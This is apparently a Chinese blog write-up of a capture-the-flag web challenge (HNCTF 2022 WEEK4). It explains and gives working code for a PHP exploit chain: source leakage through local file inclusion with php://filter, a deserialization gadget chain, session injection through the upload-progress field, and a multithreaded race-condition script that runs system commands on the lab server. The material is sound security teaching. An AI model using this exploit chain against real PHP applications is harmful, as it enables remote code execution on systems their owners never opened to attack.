视频加载失败

[HNCTF 2022 WEEK4]unf1ni3hed_web3he1 LFI + Session反序列化 + 条件竞争

3874 字
19 分钟
[HNCTF 2022 WEEK4]unf1ni3hed_web3he1 LFI + Session反序列化 + 条件竞争

本题在线靶场#

https://www.nssctf.cn/problem/3098

考点:LFI + php://filter 伪协议读源码 + PHP 反序列化 POP 链 + Session 反序列化 + 条件竞争绕过 cleanup 难度:中等偏上(主要是 session 那部分不太好理解)


0. 一句话速览#

include_ LFI 泄源码
-> 发现 POP 链 + session.serialize_handler=php
-> 用上传进度的可控 key 注入 | 和序列化对象
-> 条件竞争绕过 cleanup=On
-> session_start() 反序列化触发 __destruct
-> eval 执行命令
-> 读 /secret/flag

1. 信息收集#

访问根目录:

GET / HTTP/1.1
HTTP/1.1 200 OK
Server: Apache/2.4.38 (Debian)
webshell 就在这里哦,传个cmd参数试试吧<br>

页面诱导你传 cmd 参数,但真传了会怎样?

GET /?cmd=1 HTTP/1.1
HTTP/1.1 302 Found
Location: https://www.bilibili.com/video/BV1GJ411x7h7?wy_n0t_Catch_me

直接把你拐去 B 站(BV1GJ411x7h7),纯钓鱼。所以 cmd 参数是假的。

目录扫描后,web 根目录下的文件有:

文件作用
index.php钓鱼首页,cmd 参数是幌子
t00llll.php题目给的”工具”页,include_ 参数存在文件包含漏洞
Rea1web3he11.php真 webshell,里面有反序列化利用链
flag.php假 flag,内容是 B 站 iframe

2. 第一层:LFI 用伪协议读源码#

2.1 工具页源码#

访问 t00llll.php 不带参数,它会 show_source(__FILE__) 把自己贴出来:

<?php
error_reporting(0);
if (!isset($_GET['include_'])) {
echo "使用工具的时候,要轻一点哦~";
show_source(__FILE__);
}else{
$include_ = $_GET['include_'];
}
if (preg_match('/sess|tmp/i', $include_)) {
die("可恶涅,同样的方法怎么可能骗到本小姐两次!");
}else if (preg_match('/sess|tmp|index|\~|\@|flag|g|\%|\^|\&|data|log/i', $include_)) {
die("呜呜呜,不可以包含这些奇奇怪怪的东西欸!!");
}
else @include($include_);
?>

$_GET['include_'] 被直接送进 include(),这就是最经典的本地文件包含(LFI)。

2.2 为什么必须用 php://filter#

如果直接:

?include_=Rea1web3he11.php

PHP 会把这个 .php 当代码执行,源码根本不会打印出来。所以要套一层 PHP 内置的过滤流:

?include_=php://filter/read=convert.base64-encode/resource=Rea1web3he11.php

拆开看:

  • php://filter —— 过滤流包装器,可以给目标文件套”滤镜”
  • read=convert.base64-encode —— 读的时候先做一次 Base64 编码
  • resource=... —— 真正要读的文件

加 Base64 之后,include 拿到的内容是一串 Base64 文本,不以 <?php 开头、不是合法 PHP 代码,PHP 就不执行它,只原样输出,源码就漏出来了。

2.3 过滤规则分析#

被拦的关键字:

sess tmp index ~ @ flag g % ^ & data log

它们分别堵死了:

  • sess / tmp —— 不能包含 /tmp/sess_xxx(session 文件)
  • index —— 不能包含 index.php
  • flag / g —— 不能直接读 flag 文件(g 同时堵住 log、png、jpg、Big5 等)
  • data —— 不能用 data:// 伪协议
  • log —— 不能用日志包含(access.log 等)
  • ~ @ % ^ & —— 各种常见的绕过字符

也就是说:只能老老实实读源码,不能直接包含 session 文件,也不能日志投毒。

2.4 解码拿源码#

访问:

http://node4.anna.nssctf.cn:27400/t00llll.php?include_=php://filter/read=convert.base64-encode/resource=Rea1web3he11.php

得到一大串 Base64,本地解码(PowerShell):

Terminal window
$b = (Invoke-WebRequest "http://node4.anna.nssctf.cn:27400/t00llll.php?include_=php://filter/read=convert.base64-encode/resource=Rea1web3he11.php").Content
[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))

得到真 webshell 源码:

<?php
error_reporting(0);
ini_set('session.serialize_handler', 'php');
session_start();
echo "y0u_m4ybe_n3ed_s0me_t00llll_t0_u4_1t!"."<br>";
class webshell{
public $caution;
public $execution;
function __construct(){
$this -> caution = new caution();
}
function __destruct(){
$this -> caution -> world_execute(); // 反序列化利用点
}
function exec(){
@eval($execution);
}
}
class caution{
function world_execute(){
echo "Webshell...ERROR..."."<br>";
}
}
class execution{
public $cmd;
function __construct(){
$this -> cmd = 'echo "即将执行命令:".$cmd;';
}
function world_execute(){
eval($this -> cmd); // 任意代码执行
}
}
?>

单独访问 Rea1web3he11.php:

y0u_m4ybe_n3ed_s0me_t00llll_t0_u4_1t!<br>

“你可能需要一些工具才能用它” —— 它自己没入口,需要靠 session 反序列化把它”喂”起来。


3. 源码分析:POP 链怎么拼#

先完全忽略 session,只看对象。

3.1 类的结构#

execution 类

class execution{
public $cmd;
function world_execute(){
eval($this -> cmd);
}
}

只要我们能造出 execution 对象,并把它的 $cmd 设成任意字符串,就等于任意代码执行。

webshell 类

class webshell{
public $caution;
function __destruct(){
$this -> caution -> world_execute();
}
}

__destruct() 是对象被销毁时自动调用的魔术方法。它内部调用 $this->caution 的 world_execute()。

$this->caution 是什么类型,完全由我们(反序列化数据)决定。

3.2 利用链#

把 webshell 的 caution 属性换成一个 execution 对象:

webshell::__destruct()
-> $this->caution(=execution 对象)->world_execute()
-> eval($this->cmd)
-> 任意命令执行

webshell 里的 $execution 属性和 exec() 方法是烟雾弹,不用管。

3.3 构造序列化 payload#

PHP 序列化格式速记:

  • O:8:"webshell":2:{...} —— 对象,类名 8 字节,2 个属性
  • s:7:"caution";... —— 字符串,名字 7 字节
  • N; —— null

最终 payload:

O:8:"webshell":2:{s:7:"caution";O:9:"execution":1:{s:3:"cmd";s:15:"system("ls /");";}s:9:"execution";N;}

小白最容易踩的坑:长度必须精确。 属性个数、类名长度、字符串字节数,错一个字节 unserialize() 就直接失败(而且 error_reporting(0),你连报错都看不到)。

最稳的办法:用本地 PHP 生成(本地是 PHP 7.3,和靶机一致):

<?php
class webshell{ public $caution; public $execution; }
class execution{ public $cmd; }
$b = new execution();
$b -> cmd = 'system("cat /secret/flag");';
$a = new webshell();
$a -> caution = $b;
echo '|'.serialize($a);

2026-09-26_20-19-25.png
2026-09-26_20-19-25.png


4. 重点科普:session 到底是什么#

这一部分是整道题的核心,慢慢讲。

4.1 session 的生命周期#

HTTP 是无状态的,服务器记不住”你”是谁。session 就是服务器给你发的一张”会员卡”:

  1. 第一次请求,PHP 调 session_start(),生成一个随机 ID(PHPSESSID=abc123),通过 Set-Cookie 发给浏览器;
  2. 服务器在磁盘上建一个文件,Debian 下通常是 /var/lib/php/sessions/sess_abc123;
  3. 之后每次请求浏览器都带上这个 Cookie,PHP 用 ID 找到对应文件;
  4. session_start() 做的事就是:读出文件内容 -> 反序列化 -> 还原成 $_SESSION 数组;
  5. 脚本结束(或 session_write_close())时,把 $_SESSION 数组序列化后写回文件。

关键就在第 4 步:读 session 文件的过程,本质上就是一次 unserialize()。

如果 session 文件里被塞进了恶意序列化字符串,session_start() 一执行,就会在我们自己的服务器上”还原”出攻击者构造好的对象 —— 这就是 session 反序列化。

4.2 两种序列化引擎:php 与 php_serialize#

PHP 把 $_SESSION 存进文件有两种格式,由 session.serialize_handler 决定。

格式一:php(本题 Rea1web3he11.php 强制使用)

键名|序列化后的值

例如:

username|s:5:"admin";role|s:5:"guest";

读的时候逻辑是:先找第一个 |,左边当键名,右边交给 unserialize()。

格式二:php_serialize(PHP 5.5.4+ 的默认值)

整个 $_SESSION 数组当整体序列化:

a:1:{s:8:"username";s:5:"admin";}

两者的核心差别,就是那个 |。 php 格式靠字符串里的 | 当分隔符,而分隔符不是结构层面记录的字节 —— 这就给了我们”伪造分隔符”的空间。

4.3 反序列化触发点不需要额外 include#

注意 Rea1web3he11.php 自己就调了:

ini_set('session.serialize_handler', 'php');
session_start();

也就是说,访问这个页面本身就会读 session 文件并反序列化,完全不需要用 LFI 去 include 任何东西。

(顺便解释为什么不用 include /tmp/sess_xxx:一是 t00llll.php 明确封了 sess 和 tmp,二是根本没必要。)

4.4 对象什么时候执行代码#

unserialize() 还原对象时,PHP 不会调用 __construct()(构造参数信息在序列化时已经丢了),但对象在脚本结束被销毁时,会自动调用 __destruct()。

所以执行顺序是:

session_start() -> unserialize 出 webshell 对象
脚本输出 "y0u_m4ybe_n3ed_s0me_t00llll_t0_u4_1t!"
脚本结束 -> webshell::__destruct()
-> $this->caution->world_execute() (caution 是 execution 对象)
-> eval($this->cmd) -> 执行命令

命令输出跟在页面后面一起返回,所以响应里能直接看到结果。


5. 怎么往 session 里写东西:PHP_SESSION_UPLOAD_PROGRESS#

现在的问题变成:页面上没有 $_SESSION['x'] = $_GET['x'] 这种写入口,怎么把 payload 写进 session 文件?

答案是 PHP 的上传进度特性。

5.1 机制#

session.upload_progress.enabled 默认开启。当一个请求满足:

  • Content-Type: multipart/form-data
  • 表单里有一个字段名等于 session.upload_progress.name(默认 PHP_SESSION_UPLOAD_PROGRESS)

PHP 会自动帮你 session_start(),并往 $_SESSION 塞一个元素:

$_SESSION[ "upload_progress_" . <你传的字段值> ] = 进度信息数组

看清楚:key 的前缀固定,后缀完全由我们控制,而且没有任何转义和校验。

5.2 | 为什么是致命一击#

把字段值设成:

aaa|O:8:"webshell":2:{...}

(或者像本文用的 payload 自带开头 |,字段值就是 |O:8:"webshell":2:{...})

此时内存里 $_SESSION 的键名就是 upload_progress_aaa|O:8:"webshell":2:{...}。

脚本结束时,PHP 用 php 格式写盘,格式是 键名|值,于是磁盘上的文件变成:

upload_progress_aaa|O:8:"webshell":2:{s:7:"caution";O:9:"execution":1:{s:3:"cmd";s:15:"system("ls /");";}s:9:"execution";N;}|a:5:{s:10:"start_time";i:1695...;...}
^ 从这里开始,php 格式把它当"值"去 unserialize

下次带着同一个 PHPSESSID 访问 Rea1web3he11.php,session_start() 读文件,php 引擎的逻辑是:

  1. 找第一个 |;
  2. 左边当键名:upload_progress_aaa;
  3. 右边当值,丢给 unserialize():O:8:"webshell":2:{...}|a:5:{...};
  4. unserialize() 解析完 webshell 对象就停了,后面多余的 |a:5:{...} 被直接无视。

结果:一个完全由我们控制的 webshell 对象,被凭空”还原”进了 $_SESSION。

这就是 session 反序列化里最有名的一个点:因为 php 格式用 | 做分隔符,而 | 出现在我们可控的 key 里,等于我们亲手伪造了分隔符,把后面的内容变成了”值”。

5.3 两种写法,千万不要混#

写法 A(本文用的):字段值带开头 |

PHP_SESSION_UPLOAD_PROGRESS = |O:8:"webshell":2:{...}

写盘后:

upload_progress_|O:8:"webshell":2:{...}|a:5:{...}
^^^^^^^^^^^^^^^^^ 键名 ^^ 值从这里开始

upload_progress_ 正好当键名,第一个 | 后面就是序列化对象 -> 成功。

写法 B:字段值是 aaa|O:8:...(payload 本身不带 |)

upload_progress_aaa|O:8:"webshell":2:{...}|a:5:{...}

同样成立。

错误写法:两个都加,变成 aaa||O:8:...

upload_progress_aaa||O:8:...

读的时候值变成 |O:8:...,unserialize() 碰到开头的 | 直接失败,对象不会被还原。

字段值 = 一段能当键名的文字 + 恰好一个 | + 序列化字符串。

5.4 补充:写盘和读盘 handler 不一致也没关系#

写 session 的请求用的是 php.ini 默认的 handler(因为 session_start() 是 PHP 在上传解析阶段自动触发的,早于脚本里的 ini_set),很可能是 php_serialize:

a:1:{s:49:"upload_progress_aaa|O:8:"webshell":2:{...}";a:5:{...}}

而读的页面强制用 php handler,它找第一个 |,同样把 O:8:"webshell"... 拿去 unserialize()。

结论:只要”写”和”读”两个阶段的 handler 不一致,键名/文件名里的 | 就能完成注入。本题的 ini_set('session.serialize_handler','php') 正是这个”不一致”的来源。


6. 为什么单发一次不行:cleanup = On 与条件竞争#

如果你老老实实”发一次 POST -> 再发一次 GET”,会发现完全没反应。这是第二个坑。

6.1 单次请求的时间线#

session.upload_progress.cleanup 默认是 On,含义是”POST 数据读完之后,把进度信息从 session 里删掉”。所以:

时刻发生了什么
(1) 请求进入,开始解析 POST上传进度处理器自动开 session,把 `upload_progress_aaa
(2) 上传过程中PHP 会把带进度信息的 session 落盘(这正是”上传进度”功能存在的意义:让另一个请求能读到进度)
(3) 上传结束cleanup 触发,把 upload_progress_ 开头的键从 $_SESSION 删掉
(4) 脚本结束把已经被清空的 $_SESSION 写回文件 -> 文件里没有 payload

我们注入的键名以 upload_progress_ 开头,所以 cleanup 会把它一起删掉。

唯一能利用的窗口只在步骤 (2):上传还在进行、payload 已经落盘、cleanup 还没发生。

6.2 竞争思路#

既然窗口很短,那就反复制造窗口 + 反复抢占窗口:

  • 多个线程持续 POST,并故意上传一个 1MB 的文件,把”上传中”的时间拉长,让窗口尽量大;
  • 同时多个线程持续 GET Rea1web3he11.php,每次 GET 都触发 session_start() 反序列化;
  • 只要有一次 GET 正好落在窗口里 -> 反序列化 -> eval -> 命中。

命中后命令输出会直接出现在那个 GET 的响应里,检测到标记字符串就退出并打印结果。

小提示:上传超大文件窗口更长、更容易命中,但会占用目标带宽;1MB 左右配 4 写 4 读是比较舒服的平衡点。


7. 完整 EXP#

7.1 先用本地 PHP 生成 payload#

<?php
class webshell{ public $caution; public $execution; }
class execution{ public $cmd; }
$b = new execution();
$b -> cmd = 'system("cat /secret/flag");';
$a = new webshell();
$a -> caution = $b;
echo '|'.serialize($a);

把输出的 |O:8:"webshell":... 整串复制出来。每次改命令都要重新生成一次,因为长度会变。

7.2 竞争脚本#

import requests, threading, time
HOST = "http://node4.anna.nssctf.cn:27400"
TARGET = HOST + "/Rea1web3he11.php" # session_start() 在这里,才是反序列化触发点
SESS = "racecodex001" # 自定义 PHPSESSID,读写两端都用它
# 想执行的命令,用 X9X 当分隔标记,方便判断是否命中
cmd = 'system("id; echo X9X; ls -la /; echo X9X; cat /secret/flag; echo X9X");'
# 构造 POP 链序列化字符串,%d 是 cmd 的字节长度,必须精确
payload = ('O:8:"webshell":2:{'
's:7:"caution";O:9:"execution":1:{s:3:"cmd";s:%d:"%s";}'
's:9:"execution";N;}') % (len(cmd), cmd)
val = "|" + payload # 字段值:一段能当 key 的文字(这里由 upload_progress_ 提供)+ 一个 | + 序列化串
stop = threading.Event()
hit = []
def writer():
"""不停上传:让恶意 payload 反复落盘到 session 文件"""
files = {"f": ("a.txt", b"A" * (1024 * 1024))} # 1MB,用来拉长窗口
while not stop.is_set():
try:
requests.post(TARGET,
data={"PHP_SESSION_UPLOAD_PROGRESS": val}, # 注入点
files=files,
cookies={"PHPSESSID": SESS},
timeout=30)
except Exception:
pass
def reader():
"""不停读取:每次 GET 都会触发一次 session_start() 反序列化"""
while not stop.is_set():
try:
r = requests.get(TARGET, cookies={"PHPSESSID": SESS}, timeout=30)
if "X9X" in r.text:
hit.append(r.text)
stop.set()
return
except Exception:
pass
threads = [threading.Thread(target=writer, daemon=True) for _ in range(4)]
threads += [threading.Thread(target=reader, daemon=True) for _ in range(4)]
for t in threads:
t.start()
deadline = time.time() + 75
while time.time() < deadline and not stop.is_set():
time.sleep(1)
stop.set()
time.sleep(2)
print(hit[0] if hit else "no hit")

实测两三秒内就在响应里看到命令输出。

payload = ('O:8:"webshell":2:{'
's:7:"caution";O:9:"execution":1:{s:3:"cmd";s:%d:"%s";}'
's:9:"execution";N;}') % (len(cmd), cmd)

这是PHP 序列化字符串,作用是在靶机上”凭空还原”出这样一个对象结构:

webshell 对象 ├─ caution = execution 对象 │ └─ cmd = 我们的 PHP 代码 └─ execution = null(没用,占位)

当 session_start() 读到它并反序列化,脚本结束时 webshell::__destruct() 触发 → 调 caution->world_execute() → eval(cmd)。这就是把”字符串”变成”命令执行”的那一步。

序列化语法的规律(记住这几条就够):

写法 含义 ━━━━━━━━━━━━━━━━━━━━━━━━━ ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ O:8:“webshell”:2:{…} 对象(Object),类名 webshell 占 8 个字节,共 2 个属性 ───────────────────────── ──────────────────────────────────────────────────────── s:7:“caution”; 字符串(String),名字 caution 占 7 个字节 ───────────────────────── ──────────────────────────────────────────────────────── O:9:“execution”:1:{…} 又嵌一个对象,类名 execution 占 9 字节,1 个属性 ───────────────────────── ──────────────────────────────────────────────────────── s:3:“cmd”;s:71:”…”; 属性名 cmd 占 3 字节,值是占 71 字节的字符串 ───────────────────────── ──────────────────────────────────────────────────────── N; null

这些数字全部来自靶机源码里真实的类定义:类名长度、属性个数、属性名长度,一个字都不能改,改了就对不上。


8. 拿到 flag#

第一次竞争命中的响应:

2026-09-26_20-28-27.png
2026-09-26_20-28-27.png

y0u_m4ybe_n3ed_s0me_t00llll_t0_u4_1t!<br>uid=33(www-data) gid=33(www-data) groups=33(www-data)
X9X
total 84
drwxr-xr-x 1 root root 4096 ... .
drwxr-xr-x 1 root root 4096 ... ..
-rwxr-xr-x 1 root root 0 ... .dockerenv
drwxr-xr-x 1 root root 4096 ... bin
...
drwxr-xr-x 2 root root 4096 ... secret <- 可疑目录
...
drwxrwxrwt 1 root root 4096 ... tmp
...
X9X
X9X
total 32 <- web 根目录
-rwxrwxrwx 1 root root 772 Rea1web3he11.php
-rwxrwxrwx 1 root root 497 flag.php <- 假 flag
-rwxrwxrwx 1 root root 7663 index.php
-rwxrwxrwx 1 root root 502 t00llll.php

看到 /secret,把命令换成读它,再跑一次竞争:

system("ls -la /secret; echo X9X; cat /secret/* 2>/dev/null; echo X9X")

结果:

total 12
drwxr-xr-x 2 root root 4096 ... .
drwxr-xr-x 1 root root 4096 ... ..
-rw-r--r-- 1 root root 45 Sep 26 10:30 flag
X9X
NSSCTF{bdd55422-e537-4fcd-bedf-c2073c3ba5da}

环境变量里的 FLAG=not_flag 是干扰项,flag.php 也是干扰项。


9. 踩坑清单与总结#

  1. ?cmd=1 是假的,只会 302 到 B 站;flag.php 也是假的(B 站 iframe)。
  2. 读源码必须用 php://filter + base64,否则 include 会执行而不是显示源码。
  3. 过滤封了 sess / tmp / index / g / flag / data / log:不能 include /tmp/sess_xxx,不能用 data://、日志包含,只能走 Rea1web3he11.php 自身的 session_start()。
  4. payload 长度必须精确:O: 后的类名长度和属性个数、s: 后的字符串字节数,错一个字节全盘失败,而且 error_reporting(0) 看不到报错。建议本地 serialize() 生成。
  5. cleanup = On 是第二个坑:单发一次 100% 不成功,必须多线程条件竞争;上传 1MB 文件能显著拉长可利用窗口。
  6. 字段值里 | 的位置要讲究:要么自带开头 |,要么用 aaa| 前缀,绝对不能两个都加。
  7. 核心记忆点:php 格式的 session 用 | 分隔”键名”和”值”,而 PHP_SESSION_UPLOAD_PROGRESS 让键名的后半段完全可控 -> 可控的 | = 可控的 unserialize() 输入 = 反序列化漏洞。

文章分享

如果这篇文章对你有帮助,欢迎分享给更多人!

[HNCTF 2022 WEEK4]unf1ni3hed_web3he1 LFI + Session反序列化 + 条件竞争
https://tuulei.cn/posts/hnctf-2022-week4-unf1ni3hed-web3he1-lfi-sessionfan-xu-lie-hu/
作者
tuulei
发布于
2026-09-26
许可协议
CC BY-NC-SA 4.0
Profile Image of the Author
tuulei
请你再闪亮一点点,尽管我太平凡。
公告
分类
标签
最新动态
站点统计
文章
13
分类
4
标签
16
总字数
17,835
运行时长
0 天
最后活动
0 天前
总访问量
--
文章目录